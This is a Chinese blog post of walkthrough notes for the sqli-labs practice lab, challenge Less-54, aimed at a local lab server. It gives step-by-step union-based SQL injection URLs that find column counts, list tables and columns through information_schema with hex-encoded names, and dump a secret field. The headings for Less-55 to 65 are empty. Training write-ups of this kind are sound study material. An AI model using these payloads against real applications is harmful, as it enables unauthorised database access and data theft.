sqli-labs闯关笔记-less54-65- (Challenges)挑战

 


less54

1、判断注入点和闭合符合

http://127.0.0.1:8001/Less-54/?id=1'

http://127.0.0.1:8001/Less-54/?id=1'  and 1=1  --+

2、查有多少字段

http://127.0.0.1:8001/Less-54/?id=1'  order by 3  --+

3、查看哪些字段可以回显

http://127.0.0.1:8001/Less-54/?id=-1'  union select 1,2,3  --+

4、查数据库名,获取数据库名为:challenges

http://127.0.0.1:8001/Less-54/?id=-1' union select 1,2,database()  --+

 

5、查表,获取表名为:5boynvoal3

http://127.0.0.1:8001/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =0x6368616c6c656e676573   --+

 

 6、查字段,获取字段为:Your Password:id,sessid,secret_3AFM,tryy

http://127.0.0.1:8001/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x35626f796e766f616c33--+

查字段的值,获取字段的值为:Your Password:1~c9042f60f512e92f5ebfcbf053900723~vgwKsCfV0UbmWKjtdGa6C45X~6

http://127.0.0.1:8001/Less-54/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,id,sessid,secret_3AFM,tryy)) from challenges.5boynvoal3--+

提交获取的password(vgwKsCfV0UbmWKjtdGa6C45X),闯关完成。

闯关成功提示如下:

less55

less56

less57

less58

less59

less60

less61

less62

less63

less64

less65

posted @   冰雪2021  阅读(41)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 周边上新:园子的第一款马克杯温暖上架
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
· 使用C#创建一个MCP客户端
// 侧边栏目录 // https://blog-static.cnblogs.com/files/douzujun/marvin.nav.my1502.css
点击右上角即可分享
微信分享提示